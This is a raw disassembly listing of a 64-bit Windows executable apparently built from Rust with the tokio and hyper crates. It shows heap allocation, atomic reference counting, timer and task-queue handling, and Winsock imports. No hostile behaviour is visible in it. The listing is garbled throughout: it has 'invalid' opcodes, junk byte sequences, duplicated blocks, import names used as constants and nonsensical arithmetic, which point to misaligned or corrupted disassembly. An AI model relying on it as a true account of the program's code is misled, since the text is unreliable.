movaps xmmword [rsp + 0x130], xmm0
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x140], eax
lock dec qword [r13]
jne 0x1400c273e
call fcn.1401438f0
xor edi, edi
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1400c276c
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c2ce5
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, WSAStartup
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c2ce5
mov r15, rax
ret
insb byte [rdi], dx
mov rax, qword [rsp + 0x1a0]
mov r12, qword [rax]
mov rbp, rbx
jmp 0x1400c2815
pause
mov rax, qword [r12 + 8]
nop word [rax + rax]
cmp rax, 0xffffffffffffffff
je 0x1400c2813
test rax, rax
js 0x1400c2c4f
lea rcx, [rax + 1]
lock cmpxchg qword [r12 + 8], rcx
jne 0x1400c2820
mov eax, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x43]
mov dword [rsp + 0x33], ecx
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0xd8]
mov rbx, qword [rax]
test rbx, rbx
je 0x1400c28f2
mov rdi, qword [rax + 8]
mov r13, qword [rdi + 0x10]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
invalid
sub dl, byte [0x109917079]
jne 0x1400c2894
invalid
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c2d4e
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x30
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c2d4e
dec r13
and r13, 0xfffffffffffffff0
lea rcx, [rbx + r13]
add rcx, 0x10
mov qword [rax], rbp
mov dword [rax + 8], esi
mov qword [rax + 0x10], r15
mov byte [rax + 0x18], 0
mov edx, dword [rsp + 0x30]
mov r8d, dword [rsp + 0x33]
mov dword [rax + 0x19], edx
mov dword [rax + 0x1c], r8d
mov qword [rax + 0x20], r14
mov qword [rax + 0x28], r12
lea r8, str._._f_
mov rdx, rax
call qword [rdi + 0x18]
jmp 0x1400c18aa
mov eax, 1
lock xadd qword [0x140215078], rax
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0x40], rbp
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x50], r15
mov byte [rsp + 0x58], 0
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x33]
mov dword [rsp + 0x59], eax
mov dword [rsp + 0x5c], ecx
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], r12
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x70], rax
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400c2996
test eax, eax
jne 0x1400c2dc6
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
add byte [rax], al
invalid
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x90]
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
jae 0x1400c2d5f
inc rax
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0x90], rax
mov rax, qword [rcx + 0x98]
cmp rax, 2
je 0x1400c2d8d
mov r13, qword [rsp + 0xc0]
test rax, rax
je 0x1400c2ad7
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rbx, qword [rax + 0xa0]
lock inc qword [rbx]
jle 0x1400c2c31
movzx eax, byte [0x1402153f8]
mov ecx, 0x80
mov edx, 0x80
call fcn.140013830
test rax, rax
je 0x1400c2db5
mov rdi, rax
lea rcx, [rbx + 0x70]
mov qword [rax], 0xcc
mov qword [rax + 8], 0
lea rax, [0x1401d7200]
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], 0
mov qword [rdi + 0x20], rbx
mov qword [rdi + 0x28], r13
mov qword [rdi + 0x30], rbp
mov dword [rdi + 0x38], esi
mov qword [rdi + 0x40], r15
mov byte [rdi + 0x48], 0
mov eax, dword [rsp + 0x30]
mov edx, dword [rsp + 0x33]
mov dword [rdi + 0x49], eax
mov dword [rdi + 0x4c], edx
mov qword [rdi + 0x50], r14
mov qword [rdi + 0x58], r12
pxor xmm0, xmm0
movdqa xmmword [rdi + 0x60], xmm0
mov qword [rdi + 0x70], 0
mov rdx, rdi
mov r8, rdi
call fcn.1400b7920
test rax, rax
je 0x1400c2bb6
add rbx, 0x10
mov rcx, rbx
mov rdx, rax
xor r8d, r8d
call fcn.14014b800
jmp 0x1400c2bb6
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0xa0]
lock inc qword [rbx]
jle 0x1400c2c31
movzx eax, byte [0x1402153f8]
mov ecx, 0x80
mov edx, 0x80
call fcn.140013830
test rax, rax
je 0x1400c2db5
mov rdi, rax
mov qword [rax], 0xcc
mov qword [rax + 8], 0
lea rax, str.pM_f_
mov qword [rdi + 0x10], rax
mov qword [rdi + 0x18], 0
mov qword [rdi + 0x20], rbx
add rbx, 0x60
mov qword [rdi + 0x28], r13
mov qword [rdi + 0x30], rbp
mov dword [rdi + 0x38], esi
mov qword [rdi + 0x40], r15
mov byte [rdi + 0x48], 0
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x33]
mov dword [rdi + 0x49], eax
mov dword [rdi + 0x4c], ecx
mov qword [rdi + 0x50], r14
mov qword [rdi + 0x58], r12
pxor xmm0, xmm0
movdqa xmmword [rdi + 0x60], xmm0
mov qword [rdi + 0x70], 0
mov rcx, rbx
mov rdx, rdi
mov r8, rdi
call fcn.1400b7920
test rax, rax
je 0x1400c2bb6
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xa0]
mov rdx, rax
call fcn.14014a490
mov rbx, qword [rsp + 0x38]
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0x90]
mov ecx, 0x84
mov eax, 0xcc
lock cmpxchg qword [rdi], rcx
je 0x1400c269f
mov rax, qword [rdi + 0x10]
mov rcx, rdi
call qword [rax + 0x20]
jmp 0x1400c269f
ud2
lea rax, str.Arc_counter_overflow
mov qword [rsp + 0x120], rax
lea rax, [0x14009a1b0]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140204aa8]
lea rsi, [rsp + 0x40]
lea r9, [rsp + 0x120]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_sync.rs
mov rcx, rsi
call fcn.140160e20
ud2
mov ecx, 8
mov edx, 0x48
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, WSAStartup
call fcn.14015d7f0
ud2
lea rax, [0x1401e13e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [0x140204680]
mov qword [rsp + 0x50], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x58], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientpool.rs
lea rcx, [rsp + 0x40]
call fcn.140160e20
ud2
lea rcx, [0x1401df508]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_timeinterval.rs
mov edx, reloc.WS2_32.dll_WSAStartup
call fcn.140161290
ud2
mov ecx, 8
mov edx, 0x30
call fcn.14015d7f0
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtimecontextcurrent.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1401e1a3a]
lea r9, [0x1401d4c38]
lea r8, [rsp + 0x120]
mov edx, 0x18
call fcn.140161200
ud2
lea rcx, [rsp + 0x40]
call fcn.1400c2e40
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0x90]
xor eax, eax
jmp 0x1400c2dd2
mov ecx, 0x80
mov edx, 0x80
call fcn.14015d7f0
ud2
lea rcx, [rsp + 0x40]
call fcn.1400c2e40
mov al, 1
mov byte [rsp + 0xd0], al
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x120], rax
lea rax, [0x140146c50]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140204aa8]
lea rsi, [rsp + 0x40]
lea r9, [rsp + 0x120]
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srccommonexec.rs
mov rcx, rsi
call fcn.140160e20
ud2
jne 0x1400c2f1f
mov rax, qword [rdi + 0x28]
mov rcx, qword [rdi + 0x30]
mov qword [rdi + 0x28], 0
xor edx, edx
xchg byte [rdi + 0x38], dl
test rax, rax
je 0x1400c2f1f
call qword [rax + ioctlsocket]
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x1400c2f39
mov rcx, qword [rsi + 0x20]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.140085240
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
mov al, 1
xchg byte [rsi + 0x41], al
xor r13d, r13d
test al, al
jne 0x1400c430a
xor eax, eax
xchg byte [rsi + 0x41], al
jmp 0x1400c430a
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0xd0
add byte [rax], al
add byte [rbx + rcx*4 + 0x71], cl
mov esi, dword [rcx + 0x28]
lea rax, [r14 + 0x10]
mov qword [rsp + 0x88], rax
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0xb8], rax
add rax, 0x40
mov qword [rsp + 0xd8], rax
xorps xmm6, xmm6
pcmpeqd xmm7, xmm7
mov esi, dword [rcx + 0x28]
lea rax, [r14 + 0x10]
mov qword [rsp + 0x88], rax
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0xb8], rax
add rax, 0x40
mov qword [rsp + 0xd8], rax
xorps xmm6, xmm6
pcmpeqd xmm7, xmm7
dec dword [rcx + rcx*4 - 0x4c]
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], cl
and al, 0xe0
add byte [rax], al
add byte [rcx - 0x75], cl
add byte [rcx - 0x75], cl
or dil, dil
adc byte [rax - 0x77], cl
invalid
mov qword [rsp + 0x90], r14
mov qword [rsp + 0xe0], r8
mov rax, qword [r8]
mov rcx, qword [r8 + 8]
call qword [rax]
mov rdi, rax
mov r15, rdx
mov al, 1
xchg byte [rsi + 0x20], al
test al, al
jne 0x1400c42bb
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x1400c3058
mov rcx, qword [rsi + 0x18]
call qword [rax + 0x18]
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], r15
sbb byte [rcx], dh
rol byte [rsi - 0x49f0dfba], 3
test al, al
jne 0x1400c2f80
mov rsi, qword [rsp + 0x60]
mov rcx, rsi
mov rdx, qword [rsp + 0xe8]
call fcn.14014e0a0
mov r13d, eax
test al, al
jne 0x1400c430a
mov r15, qword [rsi + 0x10]
mov edi, dword [rsi + 0x18]
call fcn.14013ac10
cmp edi, 0x3b4e7ebf
jbe 0x1400c30c0
mov r8, r15
inc r8
je 0x1400c4404
lea ecx, [rdi - 0x3b4e7ec0]
jmp 0x1400c30c9
lea ecx, [rdi + 0x4c4b40]
mov r8, r15
mov r9d, ecx
shr r9d, 9
imul r9, r9, 0x44b83
shr r9, 0x27
invalid
add r8, r9
jb 0x1400c43c6
invalid
imul r9d, r9d, 0x3b9aca00
sub ecx, r9d
cmp rax, r8
jb 0x1400c3101
jne 0x1400c409e
cmp edx, ecx
ja 0x1400c409e
add r15, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x60]
jb 0x1400c4404
add edi, dword [rsp + 0x70]
cmp edi, 0x3b9ac9ff
jbe 0x1400c312c
inc r15
je 0x1400c4404
add edi, 0xc4653600
mov eax, edi
shr eax, 9
imul r8, rax, 0x44b83
shr r8, 0x27
add r8, r15
jb 0x1400c43c6
mov eax, edi
shr eax, 9
imul rax, rax, 0x44b83
imul eax, eax, 0x44b83
imul eax, eax, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub edi, eax
mov rdx, r8
mov r8d, edi
xor r9d, r9d
call fcn.14014e3a0
lea rax, [r14 + 1]
cmp rax, 2
jb 0x1400c430a
mov rax, qword [r14]
nop dword [rax]
test rax, rax
je 0x1400c4307
js 0x1400c436c
lea rcx, [rax + 1]
lock cmpxchg qword [r14], rcx
jne 0x1400c3180
mov qword [rsp + 0xa8], r14
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400c428f
movzx eax, byte [r14 + 0x18]
test al, al
jne 0x1400c42d7
xor eax, eax
mov dword [rsp + 0xa0], eax
mov eax, dword [r14 + 0xd8]
mov dword [rsp + 0x6c], eax
cmp eax, 0x3b9aca00
je 0x1400c441e
mov rax, qword [r14 + 0xd0]
mov qword [rsp + 0x80], rax
call fcn.14013ac10
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], edx
mov r15, qword [r14 + 0x78]
test r15, r15
je 0x1400c4030
mov r12, qword [r14 + 0x60]
lea r13, [r12 + 0x10]
movdqa xmm0, xmmword [r12]
pmovmskb eax, xmm0
not eax
jmp 0x1400c3266
mov rcx, qword [rsp + 0xf0]
lea eax, [rcx - 1]
and eax, ecx
mov r15, qword [rsp + 0x108]
dec r15
mov r14, qword [rsp + 0x90]
mov r12, qword [rsp + 0x100]
mov r13, qword [rsp + 0xf8]
je 0x1400c4030
test ax, ax
mov esi, 0
add byte [rax], al
lea r14, [rsp + 0x30]
jne 0x1400c329e
nop word cs:[rax + rax]
movdqa xmm0, xmmword [r13]
pmovmskb eax, xmm0
add r12, 0xfffffffffffffb80
add r13, 0x10
cmp eax, 0xffff
je 0x1400c3280
not eax
mov qword [rsp + 0xf0], rax
tzcnt eax, eax
neg rax
lea rax, [rax + rax*8]
lea rcx, [r12 + rax*8]
mov rbp, qword [r12 + rax*8 - 8]
test rbp, rbp
mov qword [rsp + 0x108], r15
mov qword [rsp + 0x100], r12
mov qword [rsp + 0xf8], r13
mov qword [rsp + 0x98], rcx
je 0x1400c33b0
mov rdi, qword [rcx - 0x18]
xor ebx, ebx
jmp 0x1400c3300
inc rbx
add rdi, 0x48
cmp rbp, rbx
je 0x1400c39d9
mov rax, qword [rdi + 0x28]
movzx eax, byte [rax + 0x10]
test al, al
jne 0x1400c3390
cmp byte [rdi + 0x10], 2
jne 0x1400c3330
mov rax, qword [rdi]
mov rax, qword [rax + 0x10]
cmp rax, 3
jne 0x1400c333d
jmp 0x1400c3390
mov rax, qword [rdi]
mov rax, qword [rax + 0x10]
cmp rax, 1
jne 0x1400c3390
mov rdx, qword [rdi + 0x38]
mov r8d, dword [rdi + 0x40]
mov rcx, r14
call fcn.14013adc0
cmp edx, 0x3b9aca00
cmove rax, rsi
cmp rax, qword [rsp + 0x80]
jb 0x1400c32f0
cmp edx, 0x3b9aca00
setne cl
cmp edx, dword [rsp + 0x6c]
seta dl
cmp rax, qword [rsp + 0x80]
jne 0x1400c3390
and cl, dl
je 0x1400c32f0
nop word cs:[rax + rax]
inc rbx
mov rcx, rdi
call fcn.1400b8f60
mov ecx, 1
cmp rbx, rbp
jne 0x1400c33b9
mov r15, rcx
jmp 0x1400c39e0
xor ebx, ebx
xor ecx, ecx
cmp rbx, rbp
je 0x1400c33a5
mov rax, qword [rsp + 0x98]
mov r14, qword [rax - 0x18]
mov qword [rsp + 0xc0], rbp
mov r15, rcx
jmp 0x1400c342c
mov rax, rbx
sub rax, r15
lea rax, [rax + rax*8]
mov rcx, qword [r12 + 0x40]
mov qword [r14 + rax*8 + 0x40], rcx
movdqu xmm0, xmmword [r12]
movdqu xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movups xmm3, xmmword [r12 + 0x30]
movups xmmword [r14 + rax*8 + 0x30], xmm3
movups xmmword [r14 + rax*8 + 0x20], xmm2
movdqu xmmword [r14 + rax*8 + 0x10], xmm1
movdqu xmmword [r14 + rax*8], xmm0
nop dword [rax + rax]
inc rbx
cmp rbx, rbp
je 0x1400c39e0
lea rax, [rbx + rbx*8]
lea r12, [r14 + rax*8]
mov rcx, qword [r14 + rax*8 + 0x28]
movzx ecx, byte [rcx + 0x10]
test cl, cl
je 0x1400c3630
mov rdi, qword [r12 + 0x18]
test rdi, rdi
je 0x1400c347d
mov rsi, qword [r12 + 0x20]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400c347d
cmp qword [rsi + 0x10], 0x11
jb 0x1400c346b
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [r12 + 0x28]
lock dec qword [rax]
jne 0x1400c3492
mov rcx, qword [r12 + 0x28]
call fcn.1400a6150
inc r15
cmp byte [r12 + 0x10], 2
jne 0x1400c3540
mov rax, qword [r12]
lock dec qword [rax]
jne 0x1400c34b4
mov rcx, qword [r12]
call fcn.1400ba5f0
mov rax, qword [r12 + 8]
lock dec qword [rax + 0x1d0]
jne 0x1400c3610
mov qword [rsp + 0x28], r15
mov r13, qword [r12 + 8]
mov edx, 1
lock xadd qword [r13 + 0x88], rdx
mov rbp, rdx
and rbp, 0xffffffffffffffe0
mov rcx, qword [r13 + 0x80]
mov r8, rbp
sub r8, qword [rcx + 0x2300]
jne 0x1400c36ba
movabs rax, 0x200000000
lock or qword [rcx + 0x2310], rax
mov rax, qword [r13 + 0x110]
mov r15, qword [rsp + 0x28]
nop dword [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r13 + 0x110], rcx
jne 0x1400c3520
jmp 0x1400c35d2
mov rax, qword [r12]
lock dec qword [rax]
jne 0x1400c3553
mov rcx, qword [r12]
call fcn.1400ba5f0
mov rax, qword [r12 + 8]
lock dec qword [rax + 0x1d0]
jne 0x1400c3610
mov qword [rsp + 0x28], r15
mov r13, qword [r12 + 8]
mov edx, 1
lock xadd qword [r13 + 0x88], rdx
mov rbp, rdx
and rbp, 0xffffffffffffffe0
mov rcx, qword [r13 + 0x80]
mov r8, rbp
sub r8, qword [rcx + 0x2300]
jne 0x1400c3849
movabs rax, 0x200000000
lock or qword [rcx + 0x2310], rax
mov rax, qword [r13 + 0x110]
mov r15, qword [rsp + 0x28]
nop word [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r13 + 0x110], rcx
jne 0x1400c35c0
test rax, rax
mov rbp, qword [rsp + 0xc0]
jne 0x1400c3610
mov rax, qword [r13 + 0x100]
mov rcx, qword [r13 + 0x108]
mov qword [r13 + 0x100], 0
lock and qword [r13 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400c3610
call qword [rax + ioctlsocket]
nop dword [rax]
mov rax, qword [r12 + 8]
lock dec qword [rax]
jne 0x1400c3420
mov rcx, qword [r12 + 8]
call fcn.1400b91d0
jmp 0x1400c3420
cmp byte [r12 + 0x10], 2
jne 0x1400c364c
mov rcx, qword [r12]
mov rcx, qword [rcx + 0x10]
cmp rcx, 3
je 0x1400c3445
jmp 0x1400c365e
mov rcx, qword [r12]
mov rcx, qword [rcx + 0x10]
cmp rcx, 1
jne 0x1400c3445
mov rdx, qword [r14 + rax*8 + 0x38]
mov r8d, dword [r14 + rax*8 + 0x40]
lea rcx, [rsp + 0x30]
call fcn.14013adc0
cmp edx, 0x3b9aca00
mov ecx, 0
cmove rax, rcx
cmp rax, qword [rsp + 0x80]
jb 0x1400c33d2
cmp edx, 0x3b9aca00
setne cl
cmp edx, dword [rsp + 0x6c]
seta dl
cmp rax, qword [rsp + 0x80]
jne 0x1400c3445
and cl, dl
je 0x1400c33d2
jmp 0x1400c3445
mov rax, rcx
add rax, 0x2300
shr r8, 5
and edx, 0x1f
cmp r8, rdx
seta r15b
jmp 0x1400c36f9
xor r15d, r15d
pause
lea rax, [rcx + 0x2300]
cmp qword [rcx + 0x2300], rbp
je 0x1400c34fd
mov rdi, rcx
mov rcx, qword [rcx + 0x2308]
test rcx, rcx
jne 0x1400c37e0
mov rsi, qword [rax]
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400c3738
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c4341
mov qword [0x140215360], rax
mov r8d, 0x2320
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c4341
mov rdx, rax
add rsi, 0x20
mov qword [rax + 0x2300], rsi
movups xmmword [rax + 0x2308], xmm6
mov qword [rax + 0x2318], 0
xor eax, eax
lock cmpxchg qword [rdi + 0x2308], rdx
jne 0x1400c3784
mov rcx, rdx
jmp 0x1400c37e0
mov rcx, rax
mov rax, qword [rax + 0x2300]
add rax, 0x20
mov qword [rdx + 0x2300], rax
xor eax, eax
lock cmpxchg qword [rcx + 0x2308], rdx
je 0x1400c37e0
mov r8, rax
nop dword [rax]
pause
mov rax, qword [r8 + 0x2300]
add rax, 0x20
mov qword [rdx + 0x2300], rax
xor eax, eax
lock cmpxchg qword [r8 + 0x2308], rdx
mov r8, rax
jne 0x1400c37b0
nop word cs:[rax + rax]
mov rax, qword [rdi + 0x2310]
cmp eax, 0xffffffff
sete al
test r15b, al
je 0x1400c36e0
mov rax, rdi
lock cmpxchg qword [r13 + 0x80], rcx
jne 0x1400c36e0
mfence
mov rax, qword [r13 + 0x88]
mov qword [rdi + 0x2318], rax
movabs rax, 0x100000000
lock or qword [rdi + 0x2310], rax
mov r15b, 1
pause
lea rax, [rcx + 0x2300]
cmp qword [rcx + 0x2300], rbp
jne 0x1400c36f9
jmp 0x1400c34fd
mov rax, rcx
add rax, 0x2300
shr r8, 5
and edx, 0x1f
cmp r8, rdx
seta r15b
jmp 0x1400c3889
xor r15d, r15d
pause
lea rax, [rcx + 0x2300]
cmp qword [rcx + 0x2300], rbp
je 0x1400c359c
mov rdi, rcx
mov rcx, qword [rcx + 0x2308]
test rcx, rcx
jne 0x1400c3970
mov rsi, qword [rax]
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400c38c8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c4341
mov qword [0x140215360], rax
mov r8d, 0x2320
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c4341
mov rdx, rax
add rsi, 0x20
mov qword [rax + 0x2300], rsi
movups xmmword [rax + 0x2308], xmm6
mov qword [rax + 0x2318], 0
xor eax, eax
lock cmpxchg qword [rdi + 0x2308], rdx
jne 0x1400c3914
mov rcx, rdx
jmp 0x1400c3970
mov rcx, rax
mov rax, qword [rax + 0x2300]
add rax, 0x20
mov qword [rdx + 0x2300], rax
xor eax, eax
lock cmpxchg qword [rcx + 0x2308], rdx
je 0x1400c3970
mov r8, rax
nop dword [rax]
pause
mov rax, qword [r8 + 0x2300]
add rax, 0x20
mov qword [rdx + 0x2300], rax
xor eax, eax
lock cmpxchg qword [r8 + 0x2308], rdx
mov r8, rax
jne 0x1400c3940
nop word cs:[rax + rax]
mov rax, qword [rdi + 0x2310]
cmp eax, 0xffffffff
sete al
test r15b, al
je 0x1400c3870
mov rax, rdi
lock cmpxchg qword [r13 + 0x80], rcx
jne 0x1400c3870
mfence
mov rax, qword [r13 + 0x88]
mov qword [rdi + 0x2318], rax
movabs rax, 0x100000000
lock or qword [rdi + 0x2310], rax
mov r15b, 1
pause
lea rax, [rcx + 0x2300]
cmp qword [rcx + 0x2300], rbp
jne 0x1400c3889
jmp 0x1400c359c
xor r15d, r15d
nop dword [rax]
sub rbp, r15
mov rsi, qword [rsp + 0x98]
mov qword [rsi - 8], rbp
jne 0x1400c3230
mov r10, qword [rsp + 0x90]
mov rax, qword [r10 + 0x60]
mov rcx, rax
sub rcx, rsi
sar rcx, 3
movabs rdx, 0x8e38e38e38e38e39
imul rcx, rdx
lea rdx, [rcx - 0x10]
and rdx, qword [r10 + 0x68]
movdqu xmm0, xmmword [rax + rdx]
pcmpeqb xmm0, xmm7
psllw xmm0, 7
pmovmskb r8d, xmm0
test r8d, r8d
je 0x1400c3a44
bsr r8w, r8w
xor r8d, 0xf
jmp 0x1400c3a49
mov r8w, reloc.WS2_32.dll_recv
movdqu xmm0, xmmword [rax + rcx]
pcmpeqb xmm0, xmm7
pmovmskb r9d, xmm0
or r9d, 0x10000
tzcnt r9d, r9d
add r8d, r9d
mov r9b, 0x80
cmp r8w, 0xf
ja 0x1400c3a77
inc qword [r10 + 0x70]
mov r9b, 0xff
mov byte [rax + rcx], r9b
mov byte [rdx + rax + 0x10], r9b
dec qword [r10 + 0x78]
cmp byte [rsi - 0x48], 2
jb 0x1400c3ab2
mov rdi, qword [rsi - 0x40]
lea rcx, [rdi + 0x18]
mov rax, qword [rdi]
mov rdx, qword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsi - 0x20]
mov rax, qword [rsi - 0x38]
mov rdx, qword [rsi - 0x30]
mov r8, qword [rsi - 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov r13, qword [rsi - 0x18]
mov rbx, qword [rsi - 8]
test rbx, rbx
je 0x1400c4000
xor r14d, r14d
mov qword [rsp + 0x28], rbx
jmp 0x1400c3aec
inc r14
cmp r14, rbx
je 0x1400c4000
lea rax, [r14 + r14*8]
lea r12, [rax*8]
add r12, r13
mov rdi, qword [r13 + rax*8 + 0x18]
test rdi, rdi
je 0x1400c3b33
mov rsi, qword [r12 + 0x20]
mov rcx, rdi
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x1400c3b33
cmp qword [rsi + 0x10], 0x11
jb 0x1400c3b21
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [r12 + 0x28]
lock dec qword [rax]
jne 0x1400c3b48
mov rcx, qword [r12 + 0x28]
call fcn.1400a6150
cmp byte [r12 + 0x10], 2
jne 0x1400c3bf0
mov rax, qword [r12]
lock dec qword [rax]
jne 0x1400c3b67
mov rcx, qword [r12]
call fcn.1400ba5f0
mov rax, qword [r12 + 8]
add r12, 8
lock dec qword [rax + 0x1d0]
jne 0x1400c3cc0
mov rbp, qword [r12]
mov edx, 1
lock xadd qword [rbp + 0x88], rdx
mov rbx, rdx
and rbx, 0xffffffffffffffe0
mov rcx, qword [rbp + 0x80]
mov r8, rbx
sub r8, qword [rcx + 0x2300]
jne 0x1400c3cdc
movabs rax, 0x200000000
lock or qword [rcx + 0x2310], rax
mov rax, qword [rbp + 0x110]
mov rbx, qword [rsp + 0x28]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rbp + 0x110], rcx
jne 0x1400c3bd0
jmp 0x1400c3c82
mov rax, qword [r12]
lock dec qword [rax]
jne 0x1400c3c03
mov rcx, qword [r12]
call fcn.1400ba5f0
mov rax, qword [r12 + 8]
add r12, 8
lock dec qword [rax + 0x1d0]
jne 0x1400c3cc0
mov rbp, qword [r12]
mov edx, 1
lock xadd qword [rbp + 0x88], rdx
mov rbx, rdx
and rbx, 0xffffffffffffffe0
mov rcx, qword [rbp + 0x80]
mov r8, rbx
sub r8, qword [rcx + 0x2300]
jne 0x1400c3e69
movabs rax, 0x200000000
lock or qword [rcx + 0x2310], rax
mov rax, qword [rbp + 0x110]
mov rbx, qword [rsp + 0x28]
nop dword [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rbp + 0x110], rcx
jne 0x1400c3c70
test rax, rax
jne 0x1400c3cc0
mov rax, qword [rbp + 0x100]
mov rcx, qword [rbp + 0x108]
mov qword [rbp + 0x100], 0
lock and qword [rbp + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400c3cc0
call qword [rax + ioctlsocket]
nop word cs:[rax + rax]
mov rax, qword [r12]
lock dec qword [rax]
jne 0x1400c3ae0
mov rcx, qword [r12]
call fcn.1400b91d0
jmp 0x1400c3ae0
mov rax, rcx
add rax, 0x2300
shr r8, 5
and edx, 0x1f
cmp r8, rdx
seta r15b
jmp 0x1400c3d19
xor r15d, r15d
pause
lea rax, [rcx + 0x2300]
cmp qword [rcx + 0x2300], rbx
je 0x1400c3bae
mov rdi, rcx
mov rcx, qword [rcx + 0x2308]
test rcx, rcx
jne 0x1400c3e00
mov rsi, qword [rax]
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne 0x1400c3d58
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
